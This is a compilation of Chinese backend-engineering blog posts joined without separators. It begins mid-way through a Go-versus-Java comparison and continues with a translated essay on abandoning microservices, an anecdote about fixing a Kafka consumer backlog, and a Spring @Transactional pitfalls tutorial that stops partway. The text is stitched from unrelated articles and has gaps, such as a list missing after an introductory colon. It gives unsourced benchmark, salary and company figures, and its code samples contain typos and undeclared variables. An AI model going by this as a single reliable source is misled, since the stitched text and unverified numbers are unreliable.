• 调度高效：基于 GMP 模型，避免内核级上下文切换，IO 阻塞时自动释放线程。

Java 的虚拟线程（Java 21+） ：

• 革命性改进：每个虚拟线程仅需几百字节内存，IO 密集型场景吞吐量提升 7 倍。


• 兼容传统代码：无需修改业务逻辑，直接将new Thread()替换为Thread.startVirtualThread()。

性能对比：

• HTTP 服务：Go 的 Gin 框架单机 QPS 可达 5 万，Java 21 虚拟线程 + Netty 可达 3 万。


• 消息处理：Go 的 Kafka 消费者单节点处理速度比 Java 快 40%。

2. 内存管理：逃逸分析 vs 分代 GC

Go 的逃逸分析：

• 栈优先分配：对象若未逃逸出函数，直接在栈上分配，减少 GC 压力。


• 零拷贝优化：io.Reader接口直接操作底层缓冲区，避免内存复制。

Java 的分代 GC：

• 成熟但复杂：新生代采用复制算法，老年代采用标记 - 压缩，需通过-XX:G1HeapRegionSize等参数调优。


• 内存占用高：同等业务逻辑下，Java 堆内存通常是 Go 的 2-3 倍。

典型案例：

某金融公司用 Go 重构风控系统后，内存占用从 8GB 降至 3GB，GC 停顿时间从 200ms 缩短至 10ms。

3. 性能调优：静态编译 vs JIT 编译

Go 的静态编译：

• 启动快：编译后的二进制文件直接运行，无需预热 JVM。


• 可预测性强：性能表现稳定，适合对延迟敏感的场景（如高频交易）。

Java 的 JIT 编译：

• 动态优化：运行时将热点代码编译为机器码，长期运行后性能可能反超 Go。


• 依赖调优经验：需通过-XX:CompileThreshold等参数平衡启动时间和运行效率。

实测数据：

• 启动时间：Go 的 HTTP 服务启动仅需 20ms，Java Spring Boot 需 500ms。


• 长期运行：持续 24 小时压测，Java 的吞吐量可能比 Go 高 10%（JIT 优化后）。

三、行业趋势：Go 在蚕食 Java 市场，但 Java 不会轻易退场

从 市场数据、生态扩展、技术演进 三个维度，分析两者的未来走向。

1. 市场数据：Go 在高速增长，Java 仍占主导

• 份额变化：Go 在 TIOBE 排行榜中从 2020 年的第 13 位升至 2025 年的第 7 位，市场份额突破 3%。


• 薪资对比：Go 开发者平均薪资比 Java 高 20%，但 Java 岗位数量仍是 Go 的 5 倍。

典型案例：

• 字节跳动：核心推荐系统用 Go 重构，QPS 提升 3 倍，成本降低 60%。


• 招商银行：核心交易系统仍用 Java，但微服务网关和监控平台全面转向 Go。

2. 生态扩展：Go 拥抱 AI，Java 深耕企业级

Go 的 AI 集成：

• 工具链完善：通过 Ollama 框架可直接调用 LLM 模型，实现智能运维告警。


• 性能优势：Go 的推理服务延迟比 Python 低 80%，适合边缘计算场景。

Java 的企业级护城河：

• 大数据生态：Hadoop、Spark、Flink 等框架仍深度依赖 Java。


• 移动端统治力：尽管 Kotlin 流行，Android 系统底层和核心应用仍用 Java 开发。

3. 技术演进：Go 和 Java 都在进化

Go 的发展方向：

• 泛型完善：Go 1.18 + 支持泛型，减少重复代码（如PrintSlice函数可适配任意类型）。


• WebAssembly 集成：计划将 Goroutine 编译为 Wasm，实现浏览器端高并发。

Java 的反击：

• Project Loom：虚拟线程已转正，未来将支持更细粒度的并发控制。


• Project Valhalla：引入值类型，减少对象装箱拆箱开销，提升性能 15%。

四、选型建议：Java 开发者该如何应对？

作为八年 Java 老兵，我的 技术选型原则 是：用最合适的工具解决问题，而非陷入语言宗教战争。

1. 优先选 Go 的场景

• 云原生基础设施：API 网关、服务网格、CI/CD 工具链（如 Kubernetes 用 Go 开发）。


• 高并发实时系统：IM 聊天、金融交易、IoT 数据采集（单机 QPS 需求 > 1 万）。


• AI 推理服务：边缘计算节点、实时推荐系统（需低延迟和高吞吐量）。

2. 优先选 Java 的场景

• 复杂企业级系统：ERP、CRM、银行核心业务（需事务、权限、审计等功能）。


• Android 开发：系统级应用和性能敏感模块（如相机、传感器驱动）。


• 大数据处理：离线分析、机器学习训练（Hadoop/Spark 生态成熟）。

3. 混合架构：Go 和 Java 共存的最佳实践

• API 网关用 Go：处理高并发请求，转发到 Java 微服务。


• AI 推理用 Go：部署轻量级模型，结果通过 gRPC 返回给 Java 业务层。


• 数据存储用 Java：复杂查询和事务管理仍由 Java 服务处理。

代码示例：Go 调用 Java 微服务

// Go客户端

conn, err := grpc.Dial("java-service:8080", grpc.WithInsecure())

if err != nil {

    log.Fatalf("连接失败: %v", err)

}

defer conn.Close()



client := pb.NewJavaServiceClient(conn)

resp, err := client.ProcessData(context.Background(), &pb.DataRequest{Data: "test"})

if err != nil {

    log.Fatalf("调用失败: %v", err)

}

fmt.Println("Java服务返回:", resp.Result)

// Java服务端

@GrpcService

public class JavaServiceImpl extends JavaServiceGrpc.JavaServiceImplBase {

    @Override

    public void processData(DataRequest request, StreamObserver<DataResponse> responseObserver) {

        String result =复杂业务逻辑(request.getData());

        responseObserver.onNext(DataResponse.newBuilder().setResult(result).build());

        responseObserver.onCompleted();

    }

}

五、总结：焦虑源于未知，成长来自行动

回到开篇的问题：Go 会取代 Java 吗？  我的答案是：短期内不会，但长期会形成互补格局。

• Java 的不可替代性：企业级成熟度、Android 生态、大数据框架，这些优势难以撼动。


• Go 的不可阻挡性：云原生、高并发、AI 集成，这些领域 Go 正在建立新标准。

作为开发者，与其焦虑语言之争，不如：

最后分享一个真实案例：某电商公司将支付核心用 Java 保留，抢购服务用 Go 重构，大促期间 QPS 从 5 万提升到 50 万，系统总成本降低 40%。这说明，语言只是工具，业务价值才是终极目标。

最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章《Microservices Are Quietly Dying — And It’s Beautiful》，许多观点直击痛点、非常启发，于是我顺手把它翻译出来，分享给大家，也希望能给同样在复杂性与效率之间权衡的团队一些参考。

微服务正在悄然消亡：这是一件美好的事

为了把我们的创业产品扩展到数百万用户，我们搭建了 47 个微服务。

用户从未达到一百万，但我们达到了每月 23,000 美元的 AWS 账单、长达 14 小时的故障，以及一个再也无法高效交付新功能的团队。

那一刻我才意识到：我们并没有在构建产品，而是在搭建一座分布式的自恋纪念碑。

我们都信过的谎言

五年前，微服务几乎是教条。Netflix 用它，Uber 用它。每一场技术大会、每一篇 Medium 文章、每一位资深架构师都在高喊同一句话：单体不具备可扩展性，微服务才是答案。

于是我们照做了。我们把 Rails 单体拆成一个个服务：用户服务、认证服务、支付服务、通知服务、分析服务、邮件服务；然后是子服务，再然后是调用服务的服务，层层套叠。

到第六个月，我们已经在 12 个 GitHub 仓库里维护 47 个服务。我们的部署流水线像一张地铁图，架构图需要 4K 显示器才能看清。

当“最佳实践”变成“最差实践”

我们不断告诫自己：一切都在运转。我们有 Kubernetes，有服务网格，有用 Jaeger 的分布式追踪，有 ELK 的日志——我们很“现代”。

但那些光鲜的微服务文章从不提的一点是：分布式的隐性税。

每一个新功能都变成跨团队的协商。想给用户资料加一个字段？那意味着要改五个服务、提三个 PR、协调两周，并进行一次像劫案电影一样精心编排的数据库迁移。

我们的预发布环境成本甚至高于生产环境，因为想测试任何东西，都需要把一切都跑起来。47 个服务在 Docker Compose 里同时启动，内存被疯狂吞噬。

那个彻夜崩溃的夜晚

凌晨 2:47，Slack 被消息炸翻。

生产环境宕了。不是某一个服务——是所有服务。支付服务连不上用户服务，通知服务不断超时，API 网关对每个请求都返回 503。

我打开分布式追踪面板：一万五千个 span，全线飘红。瀑布图像抽象艺术。我花了 40 分钟才定位出故障起点。

结果呢？一位初级开发在认证服务上发布了一个配置变更，只是一个环境变量。它让令牌校验多了 2 秒延迟，这个延迟在 11 个下游服务间层层传递，超时叠加、断路器触发、重试逻辑制造请求风暴，整个系统在自身重量下轰然倒塌。

我们搭了一座纸牌屋，却称之为“容错架构”。

我们花了六个小时才修复。并不是因为 bug 复杂——它只是一个配置的单行改动，而是因为排查分布式系统就像破获一桩谋杀案：每个目击者说着不同的语言，而且有一半在撒谎。

那个被忽略的低语

一周后，在复盘会上，我们的 CTO 说了句让所有人不自在的话：

“要不我们……回去？”

回到单体。回到一个仓库。回到简单。

会议室一片沉默。你能感到认知失调。我们是工程师，我们很“高级”。单体是给传统公司和训练营毕业生用的，不是给一家正打造未来的 A 轮初创公司用的。

但随后有人把指标展开：平均恢复时间 4.2 小时；部署频率每周 2.3 次（从单体时代的每周 12 次一路下滑）；云成本增长速度比营收快 40%。

数字不会说谎。是架构在拖垮我们。

美丽的回归

我们用了三个月做整合。47 个服务归并成一个模块划分清晰的 Rails 应用；Kubernetes 变成负载均衡后面的三台 EC2；12 个仓库的工作流收敛成一个边界明确的仓库。

结果简直让人尴尬。

部署时间从 25 分钟降到 90 秒；AWS 账单从 23,000 美元降到 3,800 美元；P95 延迟提升了 60%，因为我们消除了 80% 的网络调用。更重要的是——我们又开始按时交付功能了。

开发者不再说“我需要和三个团队协调”，而是开始说“午饭前给你”。

我们的“分布式系统”变回了结构良好的应用。边界上下文变成 Rails 引擎，服务调用变成方法调用，Kafka 变成后台任务，“编排层”……就是 Rails 控制器。

它更快，它更省，它更好。

我们真正学到的是什么

这是真相：我们为此付出两年时间和 40 万美元才领悟——

微服务不是一种纯粹的架构模式，而是一种组织模式。Netflix 需要它，因为他们有 200 个团队。你没有。Uber 需要它，因为他们一天发布 4,000 次。你没有。

复杂性之所以诱人，是因为它看起来像进步。 拥有 47 个服务、Kubernetes、服务网格和分布式追踪，看起来很“专业”；而一个单体加一套 Postgres，看起来很“业余”。

但复杂性是一种税。它以认知负担、运营开销、开发者幸福感和交付速度为代价。

而大多数初创公司根本付不起这笔税。

我们花了两年时间为并不存在的规模做优化，同时牺牲了能让我们真正达到规模的简单性。

你不需要 50 个微服务，你需要的是自律

软件架构的“肮脏秘密”是：好的设计在任何规模都奏效。

一个结构良好的单体，拥有清晰的模块、明确的边界上下文和合理的关注点分离，比一团由希望和 YAML 勉强粘合在一起的微服务乱麻走得更远。

微服务并不是因为“糟糕”而式微，而是因为我们出于错误的理由使用了它。我们选择了分布式的复杂性而不是本地的自律，选择了运营的负担而不是价值的交付。

那些悄悄回归单体的公司并非承认失败，而是在承认更难的事实：我们一直在解决错误的问题。

所以我想问一个问题：你构建微服务，是在逃避什么？

如果答案是“一个凌乱的代码库”，那我有个坏消息——分布式系统不会修好坏代码，它只会让问题更难被发现。

快到年底了，系统频繁出问题。我有正当理由怀疑老板不想发年终奖所以搞事。

这不，几年都遇不到的消息队列积压现象今晚又卷土重来了。

今晚注定是个不眠夜了，原神启动。。。

组里的小伙伴火急火燎找到我说，Kafka 的消息积压一直在涨，预览图一直出不来。我加了几个服务实例，刚开始可以消费，后面消费着也卡住了。

本来刚刚下班的我就比较疲惫，想让他撤回镜像明天再上。不成想组长不讲武德，直接开了个飞书视频。

我当时本来不想理他，我已经下班了，别人上线的功能出问题关我啥事。

后来他趁我不注意搞偷袭，给我私信了，我当时没多想就点开了飞书。

本来以传统功夫的点到为止，我进入飞书不点开他的会话，是能看他给我发的最后一句话的。

我把手放在他那个会话上就是没点开，已读不回这种事做多了不好。我笑了一下，准备洗洗睡了。

正在我收手不点的时候，他突然给我来了一个电话，我大意了啊，没有挂，还强行接了他的电话。两分多钟以后就好了，我说小伙子你不讲武德。

直接喊话，今晚必须解决，大家都点咖啡算他的。

这真没办法，都找上门来了。只能跟着查一下，早点解决早点睡觉。然后我就上 Kafka 面板一看：最初的4个分区已经积压了 1200 条，后面新加的分区也开始积压了，而且积压的速度越来越快。

搞清楚发生了什么？我们就得思考一下导致积压的原因。一般是消费者代码执行出错了，导致某条消息消费不了。

所以某个点卡住了，然后又有新的消息进来。

Kafka 是通过 offset 机制来标记消息是否消费过的，所以如果分区中有某一条消息消费失败，就会导致后面的没机会消费。

我用的是spring cloud stream 来处理消息队列的发送和监听。代码上是每次处理一条消息，而且代码还在处理的过程中加了 try-catch。监听器链路打印的日志显示执行成功了，try-catch也没有捕捉到任何的异常。

这一看，我就以为是消费者性能不足，突然想起 SpringCloudStream 好像有个多线程消费的机制。立马让开发老哥试试，看看能不能就这样解决了，我困得不行。

我半眯着眼睛被提醒吵醒了。开发老哥把多线程改成10之后，发现积压更快了，而且还有pod会挂。老哥查了一下多线程的配置 concurrency。

原来指的是消费者线程，一个消费者线程会负责处理一个分区。对于我们来说，增加之后可能会导致严重的流量倾斜，难怪pod会挂掉，赶紧恢复了回去。

看来想糊弄过去是不行了，我把pod运行的日志全部拉下来。查了一下日志，日志显示执行成功了，但同时有超时错误，这就见了鬼了。

作为一个坚定的唯物主义者，我是不信见鬼的。但此刻我汗毛倒竖，吓得不敢再看屏幕一眼。

但是内心又觉得不甘心，于是我偷偷瞄了一眼屏幕。不看还好，一喵你猜我发现了啥？

消费者组重平衡了，这就像是在黑暗中有一束光照向了我，猪八戒发现嫦娥原来一直暗恋自己，我的女神其实不需要拉屎。

有了重平衡就好说了，无非就是两种情况，一是服务挂掉了，二是服务消费者执行超时了。现在看来服务没有挂，那就是超时了，也正好和上面的日志能对上。

那怎么又看到监听器执行的结果是正常的呢？

这就得从 Kafka 的批量拉取机制说起了，这货和我们人类直觉上的的队列机制不太一样。我们一般理解的队列是发送一个消息给队列，然后队列就异步把这消息给消费者。但是这货是消费者主动去拉取一批来消费。

然后好死不死，SpringCloudStream 为了封装得好用符合人类的认知，就做成了一般理解的队列那种方式。

SpringCloudStream 一批拉了500条记录，然后提供了一个监听器接口让我们实现。入参是一个对象，也就是500条数据中的一条，而不是一个数组。

我们假设这500条数据的ID是 001-500，每一条数据对应的消费者需要执行10s。那么总共就需要500 x 10s=5000s。

再假设消费者执行的超时时间是 300s，而且消费者执行的过程是串行的。那么500条中最多只能执行30条，这就能解释为什么看消费链路是正常的，但是还超时。

因为单次消费确实成功了，但是批次消费也确实超时了。

我咧个豆，破案了。

于是我就想到了两种方式来处理这个问题：第一是改成单条消息消费完立马确认，第二是把批次拉取的数据量改小一点。

第一种方案挺好的，就是性能肯定没有批量那么好，不然你以为 Kafka 的吞吐量能薄纱ActiveMQ这些传统队列。吞吐量都是小事，这个方案胜在可以立马去睡觉了。只需要改一个配置：ack-mode: RECORD

第二种方案是后来提的，其实单单把批次拉取的数据量改小性能提升还不是很明显。不过既然我们都能拿到一批数据了，那多线程安排上就得了。

先改配置，一次只拉取50条 max.poll.records: 50。然后启用线程池处理，完美！

@StreamListener("<TOPIC>")

public void consume(List<byte[]> payloads) {

    

    List<CompletableFuture<Void>> futures = payloads.stream().map(bytes -> {

        Payload payload = JacksonSnakeCaseUtils.parseJson(new String(bytes), Payload.class);



        return CompletableFuture.runAsync(() -> {

            // ........

        }, batchConsumeExecutor).exceptionally(e -> {

            log.error("Thread error {}", bytes, e);

            return null;

        });

    }).collect(Collectors.toList());



    try {

        // 等待这批消息中的所有任务全部完成

        CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();

        errorMessage = "OK";

    } catch (Exception e) {

        errorMessage = "Ex: " + e.getMessage();

    } finally {

        // ...

    }

}

前言

对于从事java开发工作的同学来说，Spring的事务肯定再熟悉不过了。

在某些业务场景下，如果一个请求中，需要同时写入多张表的数据。为了保证操作的原子性（要么同时成功，要么同时失败），避免数据不一致的情况，我们一般都会用到Spring事务。

确实，Spring事务用起来贼爽，就用一个简单的注解：@Transactional，就能轻松搞定事务。我猜大部分小伙伴也是这样用的，而且一直用一直爽。

但如果你使用不当，它也会坑你于无形。

今天我们就一起聊聊，事务失效的一些场景，说不定你已经中招了。不信，让我们一起看看。

一 事务不生效

1.访问权限问题

众所周知，java的访问权限主要有四种：private、default、protected、public，它们的权限从左到右，依次变大。

但如果我们在开发过程中，把有某些事务方法，定义了错误的访问权限，就会导致事务功能出问题，例如：

@Service

public class UserService {

    

    @Transactional

    private void add(UserModel userModel) {

         saveData(userModel);

         updateData(userModel);

    }

}

我们可以看到add方法的访问权限被定义成了private，这样会导致事务失效，spring要求被代理方法必须是public的。

说白了，在AbstractFallbackTransactionAttributeSource类的computeTransactionAttribute方法中有个判断，如果目标方法不是public，则TransactionAttribute返回null，即不支持事务。

protected TransactionAttribute computeTransactionAttribute(Method method, @Nullable Class<?> targetClass) {

    // Don't allow no-public methods as required.

    if (allowPublicMethodsOnly() && !Modifier.isPublic(method.getModifiers())) {

      return null;

    }



    // The method may be on an interface, but we need attributes from the target class.

    // If the target class is null, the method will be unchanged.

    Method specificMethod = AopUtils.getMostSpecificMethod(method, targetClass);



    // First try is the method in the target class.

    TransactionAttribute txAttr = findTransactionAttribute(specificMethod);

    if (txAttr != null) {

      return txAttr;

    }



    // Second try is the transaction attribute on the target class.

    txAttr = findTransactionAttribute(specificMethod.getDeclaringClass());

    if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {

      return txAttr;

    }



    if (specificMethod != method) {

      // Fallback is to look at the original method.

      txAttr = findTransactionAttribute(method);

      if (txAttr != null) {

        return txAttr;

      }

      // Last fallback is the class of the original method.

      txAttr = findTransactionAttribute(method.getDeclaringClass());

      if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {

        return txAttr;

      }

    }

    return null;

  }

也就是说，如果我们自定义的事务方法（即目标方法），它的访问权限不是public，而是private、default或protected的话，spring则不会提供事务功能。

2. 方法用final修饰

有时候，某个方法不想被子类重新，这时可以将该方法定义成final的。普通方法这样定义是没问题的，但如果将事务方法定义成final，例如：

@Service

public class UserService {



    @Transactional

    public final void add(UserModel userModel){

        saveData(userModel);

        updateData(userModel);

    }

}

我们可以看到add方法被定义成了final的，这样会导致事务失效。

为什么？

如果你看过spring事务的源码，可能会知道spring事务底层使用了aop，也就是通过jdk动态代理或者cglib，帮我们生成了代理类，在代理类中实现的事务功能。

但如果某个方法用final修饰了，那么在它的代理类中，就无法重写该方法，而添加事务功能。

注意：如果某个方法是static的，同样无法通过动态代理，变成事务方法。

3.方法内部调用

有时候我们需要在某个Service类的某个方法中，调用另外一个事务方法，比如：

@Service

public class UserService {



    @Autowired

    private UserMapper userMapper;



    //@Transactional

    public void add(UserModel userModel) {

        userMapper.insertUser(userModel);

        updateStatus(userModel);

    }



    @Transactional

    public void updateStatus(UserModel userModel) {

        doSameThing();

    }

}

我们看到在事务方法add中，直接调用事务方法updateStatus。从前面介绍的内容可以知道，updateStatus方法拥有事务的能力是因为spring aop生成代理了对象，但是这种方法直接调用了this对象的方法，所以updateStatus方法不会生成事务。

由此可见，在同一个类中的方法直接内部调用，会导致事务失效。

那么问题来了，如果有些场景，确实想在同一个类的某个方法中，调用它自己的另外一个方法，该怎么办呢？

3.1 新加一个Service方法

这个方法非常简单，只需要新加一个Service方法，把@Transactional注解加到新Service方法上，把需要事务执行的代码移到新方法中。具体代码如下：

@Servcie

public class ServiceA {

   @Autowired

   prvate ServiceB serviceB;



   public void save(User user) {

         queryData1();

         queryData2();

         serviceB.doSave(user);

   }

 }



 @Servcie

 public class ServiceB {



    @Transactional(rollbackFor=Exception.class)

    public void doSave(User user) {

       addData1();

       updateData2();

    }



 }

3.2 在该Service类中注入自己

如果不想再新加一个Service类，在该Service类中注入自己也是一种选择。具体代码如下：

@Servcie

public class ServiceA {

   @Autowired

   prvate ServiceA serviceA;



   public void save(User user) {

         queryData1();

         queryData2();

         serviceA.doSave(user);

   }



   @Transactional(rollbackFor=Exception.class)

   public void doSave(User user) {

       addData1();

       updateData2();

    }

 }

可能有些人可能会有这样的疑问：这种做法会不会出现循环依赖问题？

答案：不会。

其实spring ioc内部的三级缓存保证了它，不会出现循环依赖问题。但有些坑，如果你想进一步了解循环依赖问题，可以看看我之前文章《spring：我是如何解决循环依赖的？》。

3.3 通过AopContent类

在该Service类中使用AopContext.currentProxy()获取代理对象

上面的方法2确实可以解决问题，但是代码看起来并不直观，还可以通过在该Service类中使用AOPProxy获取代理对象，实现相同的功能。具体代码如下：

@Servcie

public class ServiceA {



   public void save(User user) {

         queryData1();

         queryData2();

         ((ServiceA)AopContext.currentProxy()).doSave(user);

   }



   @Transactional(rollbackFor=Exception.class)

   public void doSave(User user) {

       addData1();

       updateData2();

    }

 }

4.未被spring管理

在我们平时开发过程中，有个细节很容易被忽略。即使用spring事务的前提是：对象要被spring管理，需要创建bean实例。

通常情况下，我们通过@Controller、@Service、@Component、@Repository等注解，可以自动实现bean实例化和依赖注入的功能。

当然创建bean实例的方法还有很多，有兴趣的小伙伴可以看看我之前写的另一篇文章《@Autowired的这些骚操作，你都知道吗？》

如果有一天，你匆匆忙忙的开发了一个Service类，但忘了加@Service注解，比如：

//@Service

public class UserService {



    @Transactional

    public void add(UserModel userModel) {

         saveData(userModel);

         updateData(userModel);

    }    

}

从上面的例子，我们可以看到UserService类没有加@Service注解，那么该类不会交给spring管理，所以它的add方法也不会生成事务。

5.多线程调用

在实际项目开发中，多线程的使用场景还是挺多的。如果spring事务用在多线程场景中，会有问题吗？

@Slf4j

@Service

public class UserService {



    @Autowired

    private UserMapper userMapper;

    @Autowired

    private RoleService roleService;



    @Transactional

    public void add(UserModel userModel) throws Exception {

        userMapper.insertUser(userModel);

        new Thread(() -> {

            roleService.doOtherThing();

        }).start();

    }

}



@Service

public class RoleService {



    @Transactional

    public void doOtherThing() {

        System.out.println("保存role表数据");

    }

}

从上面的例子中，我们可以看到事务方法add中，调用了事务方法doOtherThing，但是事务方法doOtherThing是在另外一个线程中调用的。

这样会导致两个方法不在同一个线程中，获取到的数据库连接不一样，从而是两个不同的事务。如果想doOtherThing方法中抛了异常，add方法也回滚是不可能的。

如果看过spring事务源码的朋友，可能会知道spring的事务是通过数据库连接来实现的。当前线程中保存了一个map，key是数据源，value是数据库连接。

private static final ThreadLocal<Map<Object, Object>> resources =



  new NamedThreadLocal<>("Transactional resources");

我们说的同一个事务，其实是指同一个数据库连接，只有拥有同一个数据库连接才能同时提交和回滚。如果在不同的线程，拿到的数据库连接肯定是不一样的，所以是不同的事务。

6.表不支持事务

周所周知，在mysql5之前，默认的数据库引擎是myisam。

它的好处就不用多说了：索引文件和数据文件是分开存储的，对于查多写少的单表操作，性能比innodb更好。

有些老项目中，可能还在用它。

在创建表的时候，只需要把ENGINE参数设置成MyISAM即可：

CREATE TABLE `category` (

  `id` bigint NOT NULL AUTO_INCREMENT,

  `one_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,

  `two_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,

  `three_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,

  `four_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,

  PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin

myisam好用，但有个很致命的问题是：不支持事务。

如果只是单表操作还好，不会出现太大的问题。但如果需要跨多张表操作，由于其不支持事务，数据极有可能会出现不完整的情况。

此外，myisam还不支持行锁和外键。

所以在实际业务场景中，myisam使用的并不多。在mysql5以后，myisam已经逐渐退出了历史的舞台，取而代之的是innodb。

有时候我们在开发的过程中，发现某张表的事务一直都没有生效，那不一定是spring事务的锅，最好确认一下你使用的那张表，是否支持事务。

7.未开启事务

有时候，事务没有生效的根本原因是没有开启事务。

你看到这句话可能会觉得好笑。

开启事务不是一个项目中，最最最基本的功能吗？

为什么还会没有开启事务？

没错，如果项目已经搭建好了，事务功能肯定是有的。

但如果你是在搭建项目demo的时候，只有一张表，而这张表的事务没有生效。那么会是什么原因造成的呢？

当然原因有很多，但没有开启事务，这个原因极其容易被忽略。

如果你使用的是springboot项目，那么你很幸运。因为springboot通过DataSourceTransactionManagerAutoConfiguration类，已经默默的帮你开启了事务。

你所要做的事情很简单，只需要配置spring.datasource相关参数即可。

但如果你使用的还是传统的spring项目，则需要在applicationContext.xml文件中，手动配置事务相关参数。如果忘了配置，事务肯定是不会生效的。

具体配置如下信息：

   

<!-- 配置事务管理器 --> 

<bean class="org.springframework.jdbc.datasource.DataSourceTransactionManager" id="transactionManager"> 

    <property name="dataSource" ref="dataSource"></property> 

</bean> 

<tx:advice id="advice" transaction-manager="transactionManager"> 

    <tx:attributes> 

        <tx:method name="*" propagation="REQUIRED"/>

    </tx:attributes> 

</tx:advice> 

<!-- 用切点把事务切进去 --> 

<aop:config> 

    <aop:pointcut expression="execution(* com.susan.*.*(..))" id="pointcut"/> 

    <aop:advisor advice-ref="advice" pointcut-ref="pointcut"/> 

</aop:config> 

默默的说一句，如果在pointcut标签中的切入点匹配规则，配错了的话，有些类的事务也不会生效。

二 事务不回滚

1.错误的传播特性

其实，我们在使用@Transactional注解时，是可以指定propagation参数的。

该参数的作用是指定事务的传播特性，spring目前支持7种传播特性：

• REQUIRED 如果当前上下文中存在事务，那么加入该事务，如果不存在事务，创建一个事务，这是默认的传播属性值。


• SUPPORTS 如果当前上下文存在事务，则支持事务加入事务，如果不存在事务，则使用非事务的方式执行。


• MANDATORY 如果当前上下文中存在事务，否则抛出异常。


• REQUIRES_NEW 每次都会新建一个事务，并且同时将上下文中的事务挂起，执行当前新建事务完成以后，上下文事务恢复再执行。


• NOT_SUPPORTED 如果当前上下文中存在事务，则挂起当前事务，然后新的方法在没有事务的环境中执行。


• NEVER 如果当前上下文中存在事务，则抛出异常，否则在无事务环境上执行代码。


• NESTED 如果当前上下文中存在事务，则嵌套事务执行，如果不存在事务，则新建事务。

如果我们在手动设置propagation参数的时候，把传播特性设置错了，比如：

@Service

public class UserService {



    @Transactional(propagation = Propagation.NEVER)

    public void add(UserModel userModel) {

        saveData(userModel);

        updateData(userModel);

    }

}

我们可以看到add方法的事务传播特性定义成了Propagation.NEVER，这种类型的传播特性不支持事务，如果有事务则会抛异常。

目前只有这三种传播特性才会创建新事务：REQUIRED，REQUIRES_NEW，NESTED。

2.自己吞了异常

事务不会回滚，最常见的问题是：开发者在代码中手动try...catch了异常。比如：

@Slf4j

@Service

public class UserService {

    

    @Transactional

    public void add(UserModel userModel) {

        try {

            saveData(userModel);

            updateData(userModel);

        } catch (Exception e) {

            log.error(e.getMessage(), e);

        }

    }

}

这种情况下spring事务当然不会回滚，因为开发者自己捕获了异常，又没有手动抛出，换句话说就是把异常吞掉了。

如果想要spring事务能够正常回滚，必须抛出它能够处理的异常。如果没有抛异常，则spring认为程序是正常的。

3.手动抛了别的异常

即使开发者没有手动捕获异常，但如果抛的异常不正确，spring事务也不会回滚。

@Slf4j

@Service

public class UserService {

    

    @Transactional

    public void add(UserModel userModel) throws Exception {

        try {

             saveData(userModel);

             updateData(userModel);

        } catch (Exception e) {

            log.error(e.getMessage(), e);

            throw new Exception(e);

        }

    }

}

上面的这种情况，开发人员自己捕获了异常，又手动抛出了异常：Exception，事务同样不会回滚。

因为spring事务，默认情况下只会回滚RuntimeException（运行时异常）和Error（错误），对于普通的Exception（非运行时异常），它不会回滚。

4.自定义了回滚异常

在使用@Transactional注解声明事务时，有时我们想自定义回滚的异常，spring也是支持的。可以通过设置rollbackFor参数，来完成这个功能。

但如果这个参数的值设置错了，就会引出一些莫名其妙的问题，例如：

@Slf4j

@Service

public class UserService {

    

    @Transactional(rollbackFor = BusinessException.class)

    public void add(UserModel userModel) throws Exception {

       saveData(userModel);

       updateData(userModel);

    }

}

如果在执行上面这段代码，保存和更新数据时，程序报错了，抛了SqlException、DuplicateKeyException等异常。而BusinessException是我们自定义的异常，报错的异常不属于BusinessException，所以事务也不会回滚。

即使rollbackFor有默认值，但阿里巴巴开发者规范中，还是要求开发者重新指定该参数。

这是为什么呢？

因为如果使用默认值，一旦程序抛出了Exception，事务不会回滚，这会出现很大的bug。所以，建议一般情况下，将该参数设置成：Exception或Throwable。

5.嵌套事务回滚多了

public class UserService {



    @Autowired

    private UserMapper userMapper;



    @Autowired

    private RoleService roleService;



    @Transactional

    public void add(UserModel userModel) throws Exception {

        userMapper.insertUser(userModel);

        roleService.doOtherThing();

    }

}



@Service

public class RoleService {



    @Transactional(propagation = Propagation.NESTED)

    public void doOtherThing() {

        System.out.println("保存role表数据");

    }

}

这种情况使用了嵌套的内部事务，原本是希望调用roleService.doOtherThing方法时，如果出现了异常，只回滚doOtherThing方法里的内容，不回滚 userMapper.insertUser里的内容，即回滚保存点。。但事实是，insertUser也回滚了。

why?

因为doOtherThing方法出现了异常，没有手动捕获，会继续往上抛，到外层add方法的代理方法中捕获了异常。所以，这种情况是直接回滚了整个事务，不只回滚单个保存点。

怎么样才能只回滚保存点呢？

@Slf4j

@Service

public class UserService {



    @Autowired

    private UserMapper userMapper;



    @Autowired

    private RoleService roleService;



    @Transactional

    public void add(UserModel userModel) throws Exception {



        userMapper.insertUser(userModel);

        try {

            roleService.doOtherThing();

        } catch (Exception e) {

            log.error(e.getMessage(), e);

        }

    }

}

可以将内部嵌套事务放在try/catch中，并且不继续往上抛异常。这样就能保证，如果内部嵌套事务中出现异常，只回滚内部事务，而不影响外部事务。

三 其他

1 大事务问题

在使用spring事务时，有个让人非常头疼的问题，就是大事务问题。

通常情况下，我们会在方法上@Transactional注解，填加事务功能，比如：

@Service

public class UserService {

    

    @Autowired 

    private RoleService roleService;

    

    @Transactional

    public void add(UserModel userModel) throws Exception {

       query1();

       query2();

       query3();

       roleService.save(userModel);

       update(userModel);

    }

}





@Service

public class RoleService {

    

    @Autowired 

    private RoleService roleService;

    

    @Transactional

    public void save(UserModel userModel) throws Exception {

       query4();

       query5();

       query6();

       saveData(userModel);

    }

}

但@Transactional注解，如果被加到方法上，有个缺点就是整个方法都包含在事务当中了。

上面的这个例子中，在UserService类中，其实只有这两行才需要事务：

roleService.save(userModel);

update(userModel);

在RoleService类中，只有这一行需要事务：

saveData(userModel);

现在的这种写法，会导致所有的query方法也被包含在同一个事务当中。

如果query方法非常多，调用层级很深，而且有部分查询方法比较耗时的话，会造成整个事务非常耗时，而从造成大事务问题。

关于大事务问题的危害，可以阅读一下我的另一篇文章《让人头痛的大事务问题到底要如何解决？》，上面有详细的讲解。

更多精彩内容百度一下：Java突击队

2.编程式事务

上面聊的这些内容都是基于@Transactional注解的，主要说的是它的事务问题，我们把这种事务叫做：声明式事务。

